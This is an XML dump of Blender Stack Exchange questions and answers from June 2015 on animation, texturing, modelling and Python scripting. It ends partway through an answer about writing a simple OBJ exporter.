  <row Id="32446" PostTypeId="2" ParentId="32382" CreationDate="2015-06-14T11:50:58.070" Score="9" Body="&lt;p&gt;Almost any value in blender can be animated. Most of the values that can't be animated are global to the scene like render resolution that make no sense to animate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the cursor over a value press &lt;kbd&gt;I&lt;/kbd&gt; to add a keyframe or right click &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt; and choose &lt;code&gt;Insert Keyframe&lt;/code&gt;, even values in the node editor and colours can be animated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WHskL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g6jso.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-06-14T11:50:58.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32447" PostTypeId="2" ParentId="32399" CreationDate="2015-06-14T12:33:01.647" Score="2" Body="&lt;p&gt;Python is an integral part of blender's design, python is used to define the user interface of blender and some operators that perform tasks are also in python. Removing python would really disable blender from functioning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using only the game engine it may be possible to run it without python as you won't be using any of the pre-defined UI, only object rendering through opengl, provided you don't use any python scripts in your game logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender's use of python isn't likely to be a factor in mobile distribution. While desktop usage of the game engine is as broad as blender's availability, the main thing that you will find preventing blender's game engine being used for mobile games would be the limited support of openGL ES, which is used on mobile devices. There has been a couple of attempts at starting this but I'm not certain of the current state of progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe you will most likely find that blender's GPL licensing forcing developers to also release their games as GPL and possibly still being in conflict with the Apple Store TOS, that it would be the main factor in it's non-use for commercial and/or mobile games.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-06-14T12:33:01.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32448" PostTypeId="1" CreationDate="2015-06-14T13:05:23.900" Score="1" ViewCount="22" Body="&lt;p&gt;Some yesterday I accidentally clicked/used a keyboard shortut that screwed up my item movement. Previously, when I used the arrows to move an object, the object would follow along in real time, now, the object seems to move on a tiled grid. It jumps around following my cursor instead of moving fluently. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm relatively new to blender, and I can't find an answer to my question anywhere :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14998" LastEditorUserId="241" LastEditDate="2015-06-14T13:07:19.687" LastActivityDate="2015-06-14T13:07:19.687" Title="Odd item movement - very blocky?" Tags="&lt;transforms&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-06-14T15:15:26.723" ContentLicense="CC BY-SA 3.0" />
  <row Id="32449" PostTypeId="2" ParentId="32396" CreationDate="2015-06-14T13:39:35.987" Score="4" Body="&lt;p&gt;While you can animate the material colours as others have suggested you can also composite the change &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/Mask_Editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;using masks&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Masks can be created in the Movie Editor for existing videos or in the UV/Image Editor if you just want to align a mask to the current render result or image. If your items were moving then you could animate the mask in the Movie Editor to follow the items, you can even parent them to motion tracked points instead of manually positioning each frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UqUKA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bonus with compositing is that if you have already rendered the video or want to adjust an existing video it is much quicker than re-rendering the whole animation.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-06-14T13:39:35.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32450" PostTypeId="1" AcceptedAnswerId="32906" CreationDate="2015-06-14T14:13:05.450" Score="3" ViewCount="2468" Body="&lt;p&gt;I want preview some game assets via Cycles for the game Space Engineers. The game uses packed .dds textures where the color and alpha channels &lt;a href=&quot;http://steamcommunity.com//sharedfiles/filedetails/?id=395248715&quot; rel=&quot;nofollow noreferrer&quot;&gt;store unrelated information&lt;/a&gt;: diffuse color + metallness, normal map + glossiness (roughness, inverted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think my problem is this &lt;a href=&quot;https://www.blender.org/manual/render/cycles/nodes/textures.html#image-texture&quot; rel=&quot;nofollow noreferrer&quot;&gt;documented&lt;/a&gt; behavior of image-texture nodes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Color output:&#xA;  RGB color from image. If the image has alpha, the color is premultiplied with alpha if the Alpha output is used, and unpremultiplied or straight if the Alpha output is not used.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The result is that my shader nodes produce some strange artifacts when I use both image-texture outputs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9O2Uh.jpg&quot; alt=&quot;rendering artifacts when using both, color- and alpha-output&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I extract the alpha-channel of the textures into separate files and plug those in, the problem goes away. But I don't like doing that because it introduces an otherwise unnecessary conversion step to my workflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3hsl5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I already tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Making sure &lt;code&gt;Alpha&lt;/code&gt; is set to &lt;code&gt;Straight&lt;/code&gt; for each image. I think that only affects how Blender treats the data it reads from file, though.&lt;/li&gt;&#xA;&lt;li&gt;Load the .dds into two separate image-datablocks. The first image has &lt;code&gt;Use Alpha&lt;/code&gt; disabled and provides the RGB channels. The second one has &lt;code&gt;Use Alpha&lt;/code&gt; enabled and provides the Alpha channel. This resulted in largely the same problem because it seems Blender optimizes internally and loads the same file only really once. I think that because toggling &lt;code&gt;Use Alpha&lt;/code&gt; seems to affect the image-data of both images (without reflecting that in the UI).&lt;/li&gt;&#xA;&lt;li&gt;Use a MixRGB node: Add the color &lt;code&gt;(0,0,0,1)&lt;/code&gt; to the color output and clamp the result. This shouldn't change the color (because adding black does nothing) and remove any transparency (because &lt;code&gt;1 + anything&lt;/code&gt; is 1 when clamped). Sadly, that didn't do anything.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Am I out of luck and using the alpha output simply cannot be done without affecting the color output? &lt;/p&gt;&#xA;" OwnerUserId="14997" LastActivityDate="2015-06-24T02:43:25.217" Title="How to separate texture-alpha without premultiplying the color?" Tags="&lt;materials&gt;&lt;nodes&gt;&lt;image&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32452" PostTypeId="1" AcceptedAnswerId="32727" CreationDate="2015-06-14T16:22:30.977" Score="-1" ViewCount="1306" Body="&lt;p&gt;I'm starting to get annoyed by the lack of information on this subject...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, this is kinda-sorta a repeat of a previous question that was belittled into non-existence. I want to know if 'UV mapping' in Blender is &lt;em&gt;exactly the same&lt;/em&gt; as it is in 3DS Max, and if it isn't, then &lt;em&gt;how and where is it different?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="13814" LastEditorUserId="241" LastEditDate="2015-06-14T16:25:44.003" LastActivityDate="2015-06-20T00:35:33.700" Title="UV Unwrap/UV Skinning: Blender vs. 3DS Max" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="32454" PostTypeId="1" CreationDate="2015-06-14T17:22:13.050" Score="3" ViewCount="820" Body="&lt;p&gt;Is it possible to save the 3D view in the Rendered shading (or render preview) in HQ (defined resolution)? Because when I do Render preview I like the way looks, I like to save it directly, instead of to click the Render button (or F12), since else I must wait again for the same picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question &lt;a href=&quot;https://blender.stackexchange.com/questions/5972/how-to-save-print-quality-screenshots-of-the-3d-view&quot;&gt;How to save print-quality screenshots of the 3D view?&lt;/a&gt; only works for Solid, Texture, Material, Wireframe and Bounding Box, but not for Rendered. Thanks :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example (the rendered preview):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/is9V8.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;After clicking the 3D view render button:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KBBhm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-06-14T17:27:52.863" Title="Save 3D view in rendered shading in HQ" Tags="&lt;rendering&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32455" PostTypeId="2" ParentId="32454" CreationDate="2015-06-14T17:27:52.863" Score="3" Body="&lt;p&gt;I think the best thing you can do is to take a screenshot, either using external software or via &lt;em&gt;Window&gt; Save Screenshot&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qZAOd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside is that you will have to crop out the rest of the interface afterwards as that will also be captured.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-06-14T17:27:52.863" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32456" PostTypeId="2" ParentId="32024" CreationDate="2015-06-14T19:13:21.713" Score="2" Body="&lt;p&gt;It just so happens I modeled a Mobius strip a little while back, and I'm sure the technique I used can address your case as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oo7S7.png&quot; alt=&quot;Using Hooks and Arrays we can control the mesh strip with an Empty.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Model a plane, or some variation of a plane. Best to keep it simple at first.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Place an Empty at the end of your object. Actually, it should be a little further from the end of your object, but we'll adjust it later. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the Empty, then the mesh object.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;code&gt;Edit Mode&lt;/code&gt;, with the end vertices selected, Hook those verts to the Empty &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;H&lt;/kbd&gt; (Hook to Selected Object).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an Array Modifier to your plane/mesh object. Choose &lt;code&gt;Object Offset&lt;/code&gt; and point it to the Empty. Set the Count to 3 or 4 iterations so you can see the effect.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now in &lt;code&gt;Object Mode&lt;/code&gt; rotate that Empty and you'll see that mesh twist like a DNA double-helix.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This will probably need some fine-tuning, so in &lt;code&gt;Edit Mode&lt;/code&gt; with those same end verts selected you can un-hook the verts (also &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;H&lt;/kbd&gt;]). Then move the Empty and re-hook the verts. You can play with it until the positioning is right. It's hard to describe this part, but if you try it you'll get it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally, you should have a strip that you can twist and stretch using the Empty.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once you've twisted the strip to the degree suitable for your design, save your file, then apply the modifiers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Place your 3D cursor where the center of your ring will be and align your view accordingly, then use the classic warp tool - &lt;code&gt;Mesh&lt;/code&gt; &gt; &lt;code&gt;Transform&lt;/code&gt; &gt; &lt;code&gt;Warp&lt;/code&gt; to wrap your mesh into a ring shape. Remove Doubles.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nLklg.png&quot; alt=&quot;Modifiers have been applied, and using the classic warp tool the mesh has been wrapped around the 3D Cursor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to to this would be to use the Curve Modifier, but it won't give you an evenly incremented twist like this technique does.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For anyone creating a (Mobius strip like) twist where the normals oppose each other where they meet, there is the additional challenge of how to merge these, which I will briefly address. Here, the vertices at the edge where the normals are opposite have been ripped with pressing &lt;kbd&gt;V&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VXR7k.png&quot; alt=&quot;The vertices at the seam have been ripped, but since the normals oppose each other there is a disconnected part.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Halving the Solidify Modifier's Thickness value, then duplicating the object and making the value negative on the duplicate is one way to fix this. Then you can apply the Modifiers, join the two objects, and merge the vertices at the seam. After that, additional clean-up of of the mesh, such as the deletion of internal faces may also be necessary.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Once the two objects have been joined, and vertices welded, here is the final result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ma6Zb.png&quot; alt=&quot;The final result - a Mobius strip.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two .blend files for reference: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/36552&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/36552&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/36553&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/36553&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="1245" LastEditDate="2015-06-14T20:07:59.413" LastActivityDate="2015-06-14T20:07:59.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32457" PostTypeId="1" CreationDate="2015-06-14T19:53:20.320" Score="9" ViewCount="1484" Body="&lt;p&gt;as described in &lt;a href=&quot;https://blender.stackexchange.com/questions/31172/blender-shader-in-opengl-glsl&quot;&gt;Blender Shader in OpenGL/GLSL&lt;/a&gt;, it is possible to export the (unoptimized) GLSL code generated by Blender for a given material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the viewport can use such GLSL for real-time shading, my understanding is that Blender could be used to fully design and preview assets for real-time applications, without restricting materials to existing shaders/parameters (since nodes can be used to design a large variety of GLSL-exportable materials).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But exporting GLSL shaders manually for each material, then exporting geometries, and finally associating them in the final render engine does not seem like an efficient workflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was wondering if there exists any Blender model exporter (whatever file format it exports to) that does export generated GLSL code alongside geometries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="5324" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2019-11-14T06:13:08.497" Title="Does a model exporter embedding materials as GLSL scripts exist?" Tags="&lt;materials&gt;&lt;export&gt;&lt;shaders&gt;&lt;file-format&gt;&lt;opengl&gt;" AnswerCount="0" CommentCount="11" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32458" PostTypeId="1" CreationDate="2015-06-14T20:06:02.520" Score="-2" ViewCount="484" Body="&lt;p&gt;I have a scene with transparent background without transparent objects. But while rendering all the scene gets half-transparent. &#xA;Please, help to fix that!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/269/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=269&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13138" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-06-17T12:52:20.940" Title="solid scene gets transparent on render in Blender internal" Tags="&lt;transparency&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32460" PostTypeId="1" AcceptedAnswerId="32461" CreationDate="2015-06-14T21:14:29.797" Score="5" ViewCount="576" Body="&lt;p&gt;Is it possible to make objects that are invisible in the viewport remain in the dopesheet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k1Ecj.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pmjOp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-06-14T21:29:27.870" Title="Seeing invisible objects in the dope sheet" Tags="&lt;dopesheet&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32461" PostTypeId="2" ParentId="32460" CreationDate="2015-06-14T21:29:27.870" Score="7" Body="&lt;p&gt;The little ghost button at the bottom of the dope sheet enables/disables showing invisible objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EB977.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-06-14T21:29:27.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32462" PostTypeId="1" AcceptedAnswerId="33647" CreationDate="2015-06-14T23:29:54.300" Score="5" ViewCount="308" Body="&lt;p&gt;I am 3d printing a &lt;a href=&quot;http://www.thingiverse.com/thing:231677&quot; rel=&quot;nofollow&quot;&gt;ds9 model&lt;/a&gt; from thingiverse, but I would like to add all the holes for the fibre optic threads to my mesh surface. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B000M6ULJM&quot; rel=&quot;nofollow&quot;&gt;Commercial kit&lt;/a&gt; has over 1000 holes to drill for fibre optics. I've found a company who has Drill hole plans that I can use as a texture map. I would like to shortcut the drilling hole step, and am looking for a method to create lots of holes from the texture map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I already have a method to create the shell/hollow model, as well as a method to cut the model in half. &lt;/p&gt;&#xA;" OwnerUserId="15003" LastEditorUserId="47" LastEditDate="2015-12-06T09:51:00.693" LastActivityDate="2015-12-06T09:51:00.693" Title="How do I add lots of holes into the surface of my model?" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;add-on&gt;&lt;3d-printing&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32465" PostTypeId="1" AcceptedAnswerId="32473" CreationDate="2015-06-15T01:50:10.173" Score="16" ViewCount="14869" Body="&lt;p&gt;In the &lt;em&gt;render properties&lt;/em&gt; panel, under the &lt;em&gt;performance&lt;/em&gt; rollout there is a setting for &lt;em&gt;static vs. dynamic BVH&lt;/em&gt;.  I am simply wondering what this setting does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/BVH&quot;&gt;Wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The raytracing acceleration structure used is a bounding volume hierarchy... This code includes spatial splits to make it more competitive with kd-trees.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, though I know quite a bit about cycles, this is totally Greek to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't really find much else useful on the web other than it may have some impact on animations only.  Can anybody explain this better (maybe starting with BVH in general)?&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-06-15T07:21:01.657" Title="What does static/dynamic BVH do?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32466" PostTypeId="1" CreationDate="2015-06-15T01:57:54.257" Score="4" ViewCount="6968" Body="&lt;p&gt;I want to create a jelly bear in Blender, but I don't know how to set the specific parameters. Does anyone know how to make a jelly material?&lt;/p&gt;&#xA;" OwnerUserId="15005" LastEditorUserId="3401" LastEditDate="2015-06-15T03:00:03.443" LastActivityDate="2015-12-09T22:33:10.957" Title="How to make a jelly material?" Tags="&lt;texturing&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32467" PostTypeId="1" CreationDate="2015-06-15T02:54:37.317" Score="1" ViewCount="980" Body="&lt;p&gt;I am working on making a custom menu that would allow access to things like Cycle Render, Blender Render, changing file formats for render outputs, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand how to make menus using operators like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;layout.operator(&quot;rigidbody.objects_add&quot;, text=&quot;Add as Active&quot;). type = 'ACTIVE'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the process for creating menus for &lt;code&gt;bpy.context.scene&lt;/code&gt; similar or am I missing some basic understanding of python and how Blender works?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the info panel I am trying to execute this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; bpy.context.scene.render.engine = 'CYCLES' &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using this template from cgcookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EXAMPLE&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# Creates a menu for global 3D View&#xA;class customMenu(bpy.types.Menu):&#xA;    bl_label = &quot;Sub&quot;&#xA;    bl_idname = &quot;view3D.sub&quot;&#xA;&#xA;    # Set the menu operators and draw functions&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        layout.operator(&quot;rigidbody.objects_add&quot;, text=&quot;A Add Active&quot;).type = 'ACTIVE'&#xA;        layout.operator(&quot;rigidbody.objects_add&quot;, text=&quot;B Add Passive&quot;).type = 'PASSIVE'&#xA;      # here is were I would like to add a menu item to change to cycles.&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(customMenu)&#xA;    bpy.ops.wm.call_menu(name=customMenu.bl_idname)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(customMenu)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15006" LastEditorUserId="1245" LastEditDate="2015-06-16T18:29:19.720" LastActivityDate="2015-07-17T06:18:32.960" Title="Custom Menu for bpy.context" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32468" PostTypeId="1" AcceptedAnswerId="32502" CreationDate="2015-06-15T03:05:03.657" Score="7" ViewCount="16501" Body="&lt;p&gt;Recently we were working to write our own software to load a Wavefront &lt;code&gt;.OBJ&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file in question uses the .OBJ file format that Blender 2.73 and below generates which is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Blender v2.73 (sub 0) OBJ File: ''&#xA;# www.blender.org&#xA;o Cube_Cube.001&#xA;v -1.000000 -1.000000 1.000000&#xA;v -1.000000 -1.000000 -1.000000&#xA;v 1.000000 -1.000000 -1.000000&#xA;v 1.000000 -1.000000 1.000000&#xA;s off&#xA;f 1 2 3 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The .OBJ exporter of Blender 2.74, in other hand, creates files like this, which are more closer to the definition that one will find in &lt;a href=&quot;https://en.wikipedia.org/wiki/Wavefront_.obj_file&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt; for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Blender v2.74 (sub 0) OBJ File: ''&#xA;# www.blender.org&#xA;o Cube&#xA;v -1.000000 -1.000000 1.000000&#xA;v -1.000000 1.000000 1.000000&#xA;v -1.000000 -1.000000 -1.000000&#xA;v -1.000000 1.000000 -1.000000&#xA;vn -1.000000 0.000000 0.000000&#xA;vn 0.000000 0.000000 -1.000000&#xA;vn 1.000000 0.000000 0.000000&#xA;vn 0.000000 0.000000 1.000000&#xA;s off&#xA;f 2//1 4//1 3//1 1//1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While this is a valid OBJ file, its more involved to parse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the problem is that I would like to write an exporter that uses just a subset of what the .OBJ file format can offer. In this case, just vertices and faces with everything in one line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to use python inside of Blender to do that but I have no idea on how to start to write this script.&lt;/p&gt;&#xA;" OwnerUserId="15007" LastEditorUserId="241" LastEditDate="2020-06-26T13:41:38.050" LastActivityDate="2020-06-26T13:41:38.050" Title="How to write a simple Wavefront-OBJ exporter in Python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;vertices&gt;&lt;faces&gt;&lt;obj&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32470" PostTypeId="2" ParentId="32468" CreationDate="2015-06-15T05:50:42.340" Score="6" Body="&lt;p&gt;This question is actually several questions.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;how to write code to generate that string&lt;/li&gt;&#xA;&lt;li&gt;how to write code that writes this to disk&lt;/li&gt;&#xA;&lt;li&gt;how to write code that wraps this code as an exporter operator&lt;/li&gt;&#xA;&lt;li&gt;how to add boilerplate to the operator to make it an add-on&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Answers to &lt;em&gt;Question 3&lt;/em&gt; and &lt;em&gt;4&lt;/em&gt; can be found in Blender's TextEditor, and in the many exporter scripts found in &lt;code&gt;/scripts/addons/..&lt;/code&gt;, don't be afraid to read all of them to get a better understanding of the boilerplate code.:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;TextEditor -&gt; Templates -&gt; Python -&gt; Operator File Export&lt;/li&gt;&#xA;&lt;li&gt;TextEditor -&gt; Templates -&gt; Python -&gt; Operator Simple&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I will deal only with 1 and 2 (note that there are quite a few approaches to doing this, with any luck others will give their intepretations too). &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.active_object&#xA;mesh = obj.data&#xA;&#xA;filepath_out = &quot;/home/zeffii/Desktop/temp/single_line.obj&quot;&#xA;with open(filepath_out, 'w') as ofile:&#xA;&#xA;    begin = &quot;OBJ File: &quot;&#xA;    ofile.write(begin)&#xA;&#xA;    for v in mesh.vertices:&#xA;        # line = &quot;v {v.x} {v.y} {v.z} &quot; for full precision  &#xA;        line = &quot;v {v.x:.4f} {v.y:.4f} {v.z:.4f} &quot;&#xA;        line = line.format(v=v.co)&#xA;        ofile.write(line)&#xA;&#xA;    for f in mesh.polygons:&#xA;        line = &quot;{0} {1} &quot;&#xA;        # obj vertex indices for faces start at 1 not 0 like blender.&#xA;        indices = [str(i+1) for i in f.vertices[:]]&#xA;        line = line.format(&quot;f&quot;, ' '.join(indices))&#xA;        ofile.write(line)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outputs the following, which is what you were originally after.. on one line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OBJ File: v -1.0 -1.0 -1.0 v -1.0 -1.0 1.0 v -1.0 1.9393 -1.0 v -1.0 1.9393 1.0 v 1.0 -1.0 -1.0 v 1.0 -1.0 1.0 v 1.0 1.0 -1.0 v 1.0 1.0 1.0 f 1 3 2 0 f 3 7 6 2 f 7 5 4 6 f 5 1 0 4 f 0 2 6 4 f 5 7 3 1 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code makes a few assumptions, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It assumes you only want to export the active 